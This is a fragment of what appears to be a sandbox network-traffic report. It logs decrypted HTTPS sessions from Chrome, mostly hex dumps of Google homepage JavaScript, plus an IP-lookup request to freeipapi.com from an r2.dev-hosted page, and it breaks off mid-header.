2024-12-17 21:25:04 UTC	269	IN	Data Raw: 31 30 36 0d 0a 72 65 74 75 72 6e 20 61 2e 43 7d 2c 46 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 44 26 26 61 2e 67 2e 73 72 63 3d 3d 3d 61 2e 44 7c 7c 61 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 65 66 65 72 72 65 64 22 29 3d 3d 3d 0a 22 31 22 29 78 7c 7c 44 28 61 29 3b 65 6c 73 65 20 69 66 28 21 61 2e 69 29 7b 61 2e 6a 26 26 61 2e 67 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 65 66 65 72 72 65 64 22 2c 22 33 22 29 3b 61 2e 69 3d 62 3b 62 3d 61 2e 69 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 76 2e 6c 65 6e 67 74 68 3b 2b 2b 63 29 61 2e 76 5b 63 5d 28 62 2c 61 2e 67 29 3b 61 2e 76 2e 6c 65 6e 67 74 68 3d 30 7d 7d 2c 43 3d 22 73 72 63 20 62 73 72 63 20 75 72 6c 20 6c 6c 20 69 6d 61 67 Data Ascii: 106return a.C},F=function(a,b){if(a.D&&a.g.src===a.D\|\|a.g.getAttribute("data-deferred")==="1")x\|\|D(a);else if(!a.i){a.j&&a.g.setAttribute("data-deferred","3");a.i=b;b=a.i;for(var c=0;c<a.v.length;++c)a.v[c](b,a.g);a.v.length=0}},C="src bsrc url ll imag
2024-12-17 21:25:04 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 6f 69 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 67 6f 6f 67 6c 65 2e 63 2e 69 69 6d 3d 67 6f 6f 67 6c 65 2e 63 2e 69 69 6d 7c 7c 7b 7d 3b 76 61 72 20 47 3d 67 6f 6f 67 6c 65 2e 63 2e 69 69 6d 2c 72 61 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 2c 64 29 7b 76 61 72 20 66 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 73 69 69 64 22 29 3b 66 7c 7c 28 66 3d 53 74 72 69 6e 67 28 2b 2b 72 61 29 2c 6f 61 26 26 28 66 3d 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 5f 22 2b 66 29 29 3b 47 5b 66 5d 7c 7c 28 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 73 69 69 64 22 2c 66 29 2c 47 5b 66 5d 3d 62 3f 62 28 61 29 3a 6e 65 77 20 71 61 28 61 2c 63 2c 64 29 29 3b 72 65 74 75 72 6e 20 47 5b 66 5d 7d 0a 66 75 Data Ascii: 8000oi".split(" ");google.c.iim=google.c.iim\|\|{};var G=google.c.iim,ra=0;function H(a,b,c,d){var f=a.getAttribute("data-csiid");f\|\|(f=String(++ra),oa&&(f=google.kEI+"_"+f));G[f]\|\|(a.setAttribute("data-csiid",f),G[f]=b?b(a):new qa(a,c,d));return G[f]}fu
2024-12-17 21:25:04 UTC	1390	IN	Data Raw: 72 28 22 6c 6f 61 64 22 2c 64 2c 21 31 29 3b 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2c 64 2c 21 31 29 7d 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 64 2c 21 31 29 3b 62 26 26 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2c 64 2c 21 31 29 7d 3b 70 2e 67 6f 6f 67 6c 65 2e 61 66 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6d 6c 22 2c 53 74 72 69 6e 67 28 44 61 74 65 2e 6e 6f 77 28 29 29 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 28 61 29 3b 61 3d 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3b 69 66 28 21 67 6f 6f 67 6c 65 Data Ascii: r("load",d,!1);a.removeEventListener("error",d,!1)}a.addEventListener("load",d,!1);b&&a.addEventListener("error",d,!1)};p.google.aft=function(a){a.setAttribute("data-iml",String(Date.now()))};function K(a){google.startTick(a);a=google.timers[a];if(!google
2024-12-17 21:25:04 UTC	1390	IN	Data Raw: 20 61 2c 62 3d 30 2c 63 3b 63 3d 28 61 3d 67 6f 6f 67 6c 65 2e 61 66 74 71 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 61 5b 62 2b 2b 5d 3b 29 4e 28 63 29 3b 67 6f 6f 67 6c 65 2e 61 66 74 71 3d 6e 75 6c 6c 7d 7d 67 6f 6f 67 6c 65 2e 63 61 66 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 61 66 74 71 3d 3d 3d 6e 75 6c 6c 3f 4e 28 61 29 3a 28 67 6f 6f 67 6c 65 2e 61 66 74 71 3d 67 6f 6f 67 6c 65 2e 61 66 74 71 7c 7c 5b 5d 2c 67 6f 6f 67 6c 65 2e 61 66 74 71 2e 70 75 73 68 28 61 29 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 61 76 69 67 61 74 69 6f 6e 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d Data Ascii: a,b=0,c;c=(a=google.aftq)==null?void 0:a[b++];)N(c);google.aftq=null}}google.caft=function(a){google.aftq===null?N(a):(google.aftq=google.aftq\|\|[],google.aftq.push(a))};function O(){return window.performance&&window.performance.navigation&&window.perform
2024-12-17 21:25:04 UTC	1390	IN	Data Raw: 2b 65 29 2c 63 3d 63 2e 74 72 61 6e 73 66 65 72 53 69 7a 65 2c 74 79 70 65 6f 66 20 63 3d 3d 3d 22 6e 75 6d 62 65 72 22 26 26 28 61 2b 3d 22 26 74 73 3d 22 2b 63 29 29 3b 63 3d 61 3b 74 79 70 65 6f 66 20 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 3d 3d 3d 0a 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 63 2c 22 22 29 3a 67 6f 6f 67 6c 65 2e 6c 6f 67 28 22 22 2c 22 22 2c 63 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 52 28 61 29 7b 61 26 26 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 63 62 73 22 2c 61 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 63 62 74 22 29 3b 51 28 22 63 61 70 22 29 7d 3b 76 61 72 20 79 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 Data Ascii: +e),c=c.transferSize,typeof c==="number"&&(a+="&ts="+c));c=a;typeof navigator.sendBeacon==="function"?navigator.sendBeacon(c,""):google.log("","",c)}};function R(a){a&&google.tick("load","cbs",a);google.tick("load","cbt");Q("cap")};var ya=function(a){var
2024-12-17 21:25:04 UTC	1390	IN	Data Raw: 54 69 6d 65 6f 75 74 28 57 29 3b 51 28 22 61 66 74 22 29 7d 29 3b 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 26 26 41 28 22 68 64 64 6e 22 2c 31 29 3b 67 6f 6f 67 6c 65 2e 63 2e 75 28 22 61 66 74 22 29 3b 75 61 28 29 7d 29 7d 7d 3b 76 61 72 20 58 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 41 61 28 61 29 7b 61 3d 48 28 61 29 3b 72 65 74 75 72 6e 20 78 26 26 77 7c 7c 6a 61 21 3d 3d 30 3f 45 28 61 29 3a 30 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 77 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 29 3b 67 6f 6f 67 6c 65 2e 63 2e 62 28 22 70 72 74 22 Data Ascii: Timeout(W);Q("aft")});document.visibilityState==="hidden"&&A("hddn",1);google.c.u("aft");ua()})}};var X=!1;function Aa(a){a=H(a);return x&&w\|\|ja!==0?E(a):0};google.c.wh=Math.floor(window.innerHeight\|\|document.documentElement.clientHeight);google.c.b("prt"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49755	142.250.181.132	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:25:06 UTC	338	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:25:07 UTC	1770	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:25:06 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-h7nOQhtsbNai6HDhKLDN_w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AZ6Zc-VXZkbBDZ4ISKeELRSInmEI6EzOC8QrlYzVsbCfXWyV_pPC0KhQGR0; expires=Sun, 15-Jun-2025 21:25:06 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=520=eABmjuCBrYHdFeOecr5uc2_E_ypp5WATns0HV8_3rW8-dYHgyM6-xDqhUfSyXMqCS2bmFe3AjYiRY56hPmLYcSG8nr1Zc1EGCnCoKiSRn10hpBhpAMPR_wWh1ZE9O7VHf1lwj6r3ZsXmO4JWqGcEXmEMBd2Y_VNQyXkXLzbSyPX3yDgP7AA8dacGdoh6WeK1KlGQB6n_Mg; expires=Wed, 18-Jun-2025 21:25:06 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-17 21:25:07 UTC	1770	IN	Data Raw: 31 38 66 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e Data Ascii: 18ff<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>
2024-12-17 21:25:07 UTC	1770	IN	Data Raw: 6f 67 6c 65 29 2e 78 7c 7c 28 64 2e 78 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 29 76 61 72 20 63 3d 61 2e 69 64 3b 65 6c 73 65 7b 64 6f 20 63 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 77 68 69 6c 65 28 67 6f 6f 67 6c 65 2e 79 5b 63 5d 29 7d 67 6f 6f 67 6c 65 2e 79 5b 63 5d 3d 5b 61 2c 62 5d 3b 72 65 74 75 72 6e 21 31 7d 29 3b 76 61 72 20 65 3b 28 65 3d 67 6f 6f 67 6c 65 29 2e 73 78 7c 7c 28 65 2e 73 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 79 2e 70 75 73 68 28 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 6d 3d 5b 5d 3b 76 61 72 20 66 3b 28 66 3d 67 6f 6f 67 6c 65 29 2e 70 6c 6d 7c 7c 28 66 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6c 6d 2e 70 75 73 68 2e 61 70 70 6c 79 28 67 6f 6f 67 6c Data Ascii: ogle).x\|\|(d.x=function(a,b){if(a)var c=a.id;else{do c=Math.random();while(google.y[c])}google.y[c]=[a,b];return!1});var e;(e=google).sx\|\|(e.sx=function(a){google.sy.push(a)});google.lm=[];var f;(f=google).plm\|\|(f.plm=function(a){google.lm.push.apply(googl
2024-12-17 21:25:07 UTC	1770	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 63 61 28 61 2c 62 2c 63 2c 64 2c 66 29 7b 69 66 28 21 61 7c 7c 21 62 26 26 64 61 28 61 29 29 72 65 74 75 72 6e 20 30 3b 69 66 28 21 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 29 72 65 74 75 72 6e 20 31 3b 76 61 72 20 68 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 6b 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 7d 3b 72 65 74 75 72 6e 21 62 26 26 65 61 28 61 2c 64 2c 68 29 7c 7c 21 62 26 26 66 26 26 66 61 28 61 2c 68 29 3f 30 3a 68 61 28 61 2c 62 2c 63 2c 64 2c 68 29 7d 66 75 6e 63 74 69 6f 6e 20 66 61 28 61 2c 62 29 7b 61 3d 62 Data Ascii: ndow.performance.timing.responseStart:void 0;function ca(a,b,c,d,f){if(!a\|\|!b&&da(a))return 0;if(!a.getBoundingClientRect)return 1;var h=function(k){return k.getBoundingClientRect()};return!b&&ea(a,d,h)\|\|!b&&f&&fa(a,h)?0:ha(a,b,c,d,h)}function fa(a,b){a=b
2024-12-17 21:25:07 UTC	1097	IN	Data Raw: 73 2e 6a 29 61 3a 7b 66 6f 72 28 64 3d 30 3b 64 3c 43 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 69 66 28 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 22 2b 43 5b 64 5d 29 29 7b 64 3d 21 30 3b 62 72 65 61 6b 20 61 7d 64 3d 21 31 7d 74 68 69 73 2e 6c 3d 64 3b 74 68 69 73 2e 46 3d 74 68 69 73 2e 67 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 73 72 63 22 29 3b 28 61 3d 74 68 69 73 2e 67 2e 73 72 63 29 26 26 74 68 69 73 2e 6c 26 26 28 74 68 69 73 2e 44 3d 61 29 3b 21 74 68 69 73 2e 6c 26 26 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 61 7c 7c 74 68 69 73 2e 67 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 7a 79 5f 22 2c 22 31 22 29 3b 74 68 69 73 2e 42 3f 62 3d 21 30 3a 62 7c 7c 78 26 26 74 68 Data Ascii: s.j)a:{for(d=0;d<C.length;++d)if(a.getAttribute("data-"+C[d])){d=!0;break a}d=!1}this.l=d;this.F=this.g.hasAttribute("data-bsrc");(a=this.g.src)&&this.l&&(this.D=a);!this.l&&typeof a==="string"&&a\|\|this.g.setAttribute("data-lzy_","1");this.B?b=!0:b\|\|x&&th
2024-12-17 21:25:07 UTC	283	IN	Data Raw: 31 31 34 0d 0a 6d 3d 67 6f 6f 67 6c 65 2e 63 2e 69 69 6d 7c 7c 7b 7d 3b 76 61 72 20 47 3d 67 6f 6f 67 6c 65 2e 63 2e 69 69 6d 2c 72 61 3d 30 3b 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 2c 64 29 7b 76 61 72 20 66 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 73 69 69 64 22 29 3b 66 7c 7c 28 66 3d 53 74 72 69 6e 67 28 2b 2b 72 61 29 2c 6f 61 26 26 28 66 3d 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 5f 22 2b 66 29 29 3b 47 5b 66 5d 7c 7c 28 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 73 69 69 64 22 2c 66 29 2c 47 5b 66 5d 3d 62 3f 62 28 61 29 3a 6e 65 77 20 71 61 28 61 2c 63 2c 64 29 29 3b 72 65 74 75 72 6e 20 47 5b 66 5d 7d 0a 66 75 6e 63 74 69 6f 6e 20 49 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 64 6f 63 75 6d Data Ascii: 114m=google.c.iim\|\|{};var G=google.c.iim,ra=0;function H(a,b,c,d){var f=a.getAttribute("data-csiid");f\|\|(f=String(++ra),oa&&(f=google.kEI+"_"+f));G[f]\|\|(a.setAttribute("data-csiid",f),G[f]=b?b(a):new qa(a,c,d));return G[f]}function I(a){for(var b=docum
2024-12-17 21:25:07 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 69 6d 67 22 29 2c 63 3d 30 2c 64 3d 62 2e 6c 65 6e 67 74 68 3b 63 3c 64 3b 2b 2b 63 29 61 28 48 28 62 5b 63 5d 29 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 61 28 61 29 7b 69 66 28 61 26 26 28 61 3d 61 2e 74 61 72 67 65 74 2c 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 49 4d 47 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 46 28 48 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4a 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 Data Ascii: 8000img"),c=0,d=b.length;c<d;++c)a(H(b[c]))};function sa(a){if(a&&(a=a.target,a.tagName==="IMG")){var b=Date.now();F(H(a,void 0,!0,!0),b)}}function J(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()
2024-12-17 21:25:07 UTC	1390	IN	Data Raw: 66 6f 72 6d 61 6e 63 65 3b 63 26 26 28 74 26 26 76 26 26 76 3e 74 26 26 76 3c 3d 62 2e 73 74 61 72 74 3f 28 62 2e 73 74 61 72 74 3d 76 2c 61 2e 77 73 72 74 3d 76 2d 74 29 3a 63 2e 6e 6f 77 26 26 28 61 2e 77 73 72 74 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 75 28 29 29 29 29 7d 76 61 72 20 64 3b 69 66 28 28 64 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 29 3d 3d 6e 75 6c 6c 3f 30 3a 64 2e 73 74 61 72 74 29 61 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 72 65 74 75 72 6e 20 61 7d 76 61 72 20 74 61 3d 4b 28 22 6c 6f 61 64 22 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 68 73 74 22 2c 77 69 6e 64 6f 77 2e 5f 68 73 74 2c 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 77 69 6e 64 6f 77 2e 70 65 72 66 Data Ascii: formance;c&&(t&&v&&v>t&&v<=b.start?(b.start=v,a.wsrt=v-t):c.now&&(a.wsrt=Math.floor(u())))}var d;if((d=google.stvsc)==null?0:d.start)a.t.start=google.stvsc.start;return a}var ta=K("load");google.tick("load","hst",window._hst,"SearchHeadStart");window.perf
2024-12-17 21:25:07 UTC	1390	IN	Data Raw: 3d 22 61 66 74 20 61 66 74 69 20 61 66 74 72 20 61 66 74 73 20 63 62 73 20 63 62 74 20 66 68 74 20 66 72 74 73 20 66 72 76 74 20 68 63 74 20 68 73 74 20 70 72 74 20 70 72 73 20 73 63 74 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 72 65 74 75 72 6e 28 61 3d 76 61 2e 73 65 61 72 63 68 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 2b 61 2b 22 3d 28 5c 5c 64 2b 29 22 29 29 29 3f 4e 75 6d 62 65 72 28 61 5b 31 5d 29 3a 2d 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 76 61 72 20 62 3d 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 2e 6c 6f 61 64 2c 63 3d 62 2e 6d 3b 69 66 28 21 63 7c 7c 21 63 2e 70 72 73 29 7b 63 3d 77 69 6e 64 6f 77 2e 5f 63 73 63 3d 3d 3d 22 61 67 73 61 22 26 26 77 69 6e 64 6f 77 2e Data Ascii: ="aft afti aftr afts cbs cbt fht frts frvt hct hst prt prs sct".split(" ");function P(a){return(a=va.search.match(new RegExp("[?&]"+a+"=(\\d+)")))?Number(a[1]):-1}function Q(a){var b=google.timers.load,c=b.m;if(!c\|\|!c.prs){c=window._csc==="agsa"&&window.
2024-12-17 21:25:07 UTC	1390	IN	Data Raw: 69 6f 6e 28 29 7b 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 3b 66 75 6e 63 74 69 6f 6e 20 53 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 68 7c 7c 6b 21 3d 3d 6d 7c 7c 63 28 65 2c 6e 2c 67 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 6c 2c 71 29 7b 6c 3d 4d 61 74 68 2e 6d 61 78 28 65 2c 6c 29 3b 65 21 3d 3d 6c 26 26 28 6e 3d 65 2c 67 3d 71 29 3b 65 3d 6c 3b 2b 2b 6d 3b 64 28 29 7d 76 61 72 20 68 3d 21 30 2c 6b 3d 30 2c 6d 3d 30 2c 6e 3d 30 2c 65 3d 30 2c 67 3b 49 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 61 28 6c 29 26 26 28 2b 2b 6b 2c 6c 2e 69 7c 7c 6c 2e 41 3f 66 28 6c 2e 69 7c 7c 30 2c 6c 2e 67 29 3a 6c 2e 76 2e 70 75 73 68 28 66 29 29 7d 29 3b 62 28 29 3b 68 3d 21 31 3b 64 28 29 7d 3b 76 61 72 20 54 3d 21 31 2c 55 3d 30 2c 56 3d 30 2c 57 3b 66 75 Data Ascii: ion(){this.g=null};function S(a,b,c){function d(){h\|\|k!==m\|\|c(e,n,g)}function f(l,q){l=Math.max(e,l);e!==l&&(n=e,g=q);e=l;++m;d()}var h=!0,k=0,m=0,n=0,e=0,g;I(function(l){a(l)&&(++k,l.i\|\|l.A?f(l.i\|\|0,l.g):l.v.push(f))});b();h=!1;d()};var T=!1,U=0,V=0,W;fu
2024-12-17 21:25:07 UTC	1390	IN	Data Raw: 29 2c 42 61 3d 59 2d 5a 3b 69 66 28 42 61 3e 30 29 7b 57 3d 73 65 74 54 69 6d 65 6f 75 74 28 52 2c 42 61 2c 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 5a 29 29 3b 62 72 65 61 6b 20 61 7d 52 28 29 7d 57 3d 76 6f 69 64 20 30 7d 67 6f 6f 67 6c 65 2e 63 2e 6d 61 66 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 78 7c 7c 49 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 54 7c 7c 28 67 6f 6f 67 6c 65 2e 63 2e 62 28 22 61 66 74 22 29 2c 54 3d 21 30 29 3b 56 7c 7c 7a 61 28 61 2c 62 29 7d 3b 67 6f 6f 67 6c 65 2e 63 2e 6d 69 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 64 29 7b 76 61 72 20 66 3d 45 28 64 29 3b 64 2e 67 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 61 74 66 22 2c 53 74 72 69 6e 67 28 66 29 29 3b 72 65 74 75 Data Ascii: ),Ba=Y-Z;if(Ba>0){W=setTimeout(R,Ba,Math.floor(t+Z));break a}R()}W=void 0}google.c.maft=function(a,b){x\|\|I(function(){});T\|\|(google.c.b("aft"),T=!0);V\|\|za(a,b)};google.c.miml=function(a){function b(d){var f=E(d);d.g.setAttribute("data-atf",String(f));retu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49759	104.21.16.1	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:25:22 UTC	649	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 21:25:22 UTC	949	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:25:22 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 55 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xW9fklE7%2BUnqp2MzXQYG2yNE3yy4mmmwmc20lyq2g3jKtLUWTm%2B%2Fz%2BzUMJjU7p8b%2FUYTBMoJGL6tZAw6GtRgBZsgHLEikLNvkC39RPINa8Rv2%2BVyN%2F9ZdLie6AZ%2B8aNC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39fc3e7af44388-EWR alt-svc: h3=":443"; ma=86400 server-timing: 